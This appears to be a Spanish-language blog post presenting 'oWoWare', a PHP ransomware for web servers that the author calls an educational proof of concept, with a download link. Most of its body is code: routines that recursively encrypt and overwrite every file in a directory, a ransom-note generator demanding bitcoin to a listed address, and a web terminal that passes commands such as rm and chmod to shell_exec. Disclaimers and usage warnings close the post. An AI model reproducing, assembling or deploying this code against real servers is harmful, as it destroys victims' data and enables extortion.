Omar Salazar .. / Ransomware Dedicado a Servidores Web

Prueba de concepto de la simulación de un ransomware dirigido a servidores web

Bypass

Nota Importante

oWoWare ransomware desarrollado con fines educativos, simulación y demostración de ataques.
El autor no se hace responsable del mal uso de la misma.


oWoWare es un ransomware enfocado en servidores web, desarrollado en PHP. Proporciona una interfaz segura para la administración de la herramienta y la ejecución de comandos en la terminal. Con funcionalidades de cifrado y descifrado de archivos usando AES-256-CBC (Cipher Block Chaining con una clave de 256 bits), así como una terminal integrada, oWoWare está diseñado para realizar pruebas técnicas y de concientización sobre la protección ante ataques tipo ransomware.

POC Completo Video

Descripción

1. Cifrado de archivos:

1
2
3
4
5
6
$iv_length = openssl_cipher_iv_length('AES-256-CBC');
$iv = openssl_random_pseudo_bytes($iv_length);

$encrypted_contents = openssl_encrypt($file_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
$final_content = $iv . $encrypted_contents;
file_put_contents($file_path, $final_content);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function encrypt_directory($target_dir, $key, &$processed_files, &$error_files) {
    // Iterar sobre los archivos y subdirectorios
    foreach ($iterator as $item) {
        if ($item->isFile()) {
            // Cifrado del contenido del archivo
            $iv = openssl_random_pseudo_bytes($iv_length);
            $encrypted_contents = openssl_encrypt($file_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
            $final_content = $iv . $encrypted_contents;
            file_put_contents($file_path, $final_content);
        }
    }
}

2. Descifrado de archivos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
     function decrypt_directory($target_dir, $key, &$processed_files, &$error_files) {
    foreach ($iterator as $item) {
        if ($item->isFile()) {
            $iv = substr($file_contents, 0, $iv_length);
            $encrypted_contents = substr($file_contents, $iv_length);
            $decrypted_contents = openssl_decrypt($encrypted_contents, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
            file_put_contents($file_path, $decrypted_contents);
        }
    }
}

3. Manejo del Login y Seguridad:

1
2
3
4
5
6
7
8
9
     define('USERNAME', 'admin');
define('PASSWORD_HASH', '$2a$15$xEbegd2Cf26u2/2dw4LLXu0uJbqifWGFWXXh0gBkTDoImJOCJ5Ogu');

if ($username === USERNAME && password_verify($password, PASSWORD_HASH)) {
    session_regenerate_id(true);
    $_SESSION['authenticated'] = true;
    $_SESSION['login_attempts'] = 0;
    unset($_SESSION['locked_until']);
}

4. Cifrado de Archivos según Directorio:

5. Archivos creados al cifrar el directorio:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function create_index_file($dir_path, &$error_files) {
    $content = "
<pre><center><b>
         __      ____      __     
        / /     / __ \     \ \    
       / / ___ | |  | | ___ \ \   
      > / / _ \| |  | |/ _ \ > \  
     / ^ ( (_) )\ \/ /( (_) ) ^ \ 
    /_/ \_\___(___||___)___/_/ \_\
                     oWoWare V.1.0
<h2>Ooops, your files have been encrypted!</h2>
Send $600 worth of bitcoin to this address:
bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf8ch7
</pre></center></b>";
    file_put_contents($index_file, $content);
}

6. Funcionalidad de la Terminal Integrada:

1
2
3
4
5
6
$allowed_commands = ['ls', 'pwd', 'cat', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown', 'ping', 'top', 'df', 'uname', ...];

if (in_array($base_command, $allowed_commands)) {
    $safe_command = escapeshellcmd($command);
    $output = shell_exec($safe_command . ' 2>&1');
}

7. Manejo de la Contraseña para Cifrar/Descifrar:

1
2
3
if (strlen($key) < 32) {
    $error_cifrado = "The key must be at least 32 characters for AES-256.";
}

Descargar oWoWare

🦠 oWoWare GitHub Repository


⚠️ Advertencia: Uso en Ambientes Controlados

Descripción de la Herramienta

Esta herramienta está diseñada con fienes educativos su función principal es el cifrado y descifrado de archivos, así como para la ejecución de comandos en una terminal integrada. Proporciona funcionalidades avanzadas para manejar archivos a nivel de sistema, incluyendo la posibilidad de cifrar directorios completos utilizando el algoritmo AES-256-CBC. También incluye una interfaz para la ejecución de comandos directamente en el servidor.

Riesgos Potenciales

1. Cifrado de Archivos

El cifrado de archivos es una operación extremadamente delicada. Si las claves de cifrado se pierden o gestionan incorrectamente, los archivos pueden quedar irrecuperables. Además, cualquier mal uso del sistema de cifrado podría comprometer la integridad de los archivos o la seguridad de los datos.

2. Ejecución de Comandos

La terminal integrada permite la ejecución de una lista predefinida de comandos del sistema. Aunque se han tomado precauciones para limitar los comandos permitidos, un mal uso de esta funcionalidad podría llevar a la modificación o eliminación accidental de archivos del servidor.

Recomendaciones de Uso

1. Ambiente Controlado

Esta herramienta debe ser utilizada exclusivamente en entornos controlados, como servidores de desarrollo o entornos de prueba. Nunca debe ser implementada en servidores de producción o en sistemas accesibles al público sin las debidas precauciones de seguridad.

2. Acceso Restringido

Asegúrate de que solo usuarios con privilegios adecuados tengan acceso a esta herramienta. El uso de autenticación por sesión y control de intentos de login es fundamental para evitar accesos no autorizados.

3. Copia de Seguridad

Antes de ejecutar cualquier operación de cifrado o descifrado, realiza copias de seguridad de los archivos y directorios involucrados. El cifrado mal gestionado puede resultar en la pérdida total de datos si no se cuenta con la clave correcta para descifrar.

4. Seguridad de la Clave

Para el cifrado de archivos, la clave debe ser de al menos 32 caracteres. Nunca compartas esta clave en entornos inseguros, y utiliza canales cifrados si necesitas transmitirla a otro usuario.

Términos de Uso


Nota importante: Si decides usar esta herramienta en un entorno de producción, hazlo bajo tu propio riesgo y asegúrate de realizar auditorías exhaustivas de seguridad.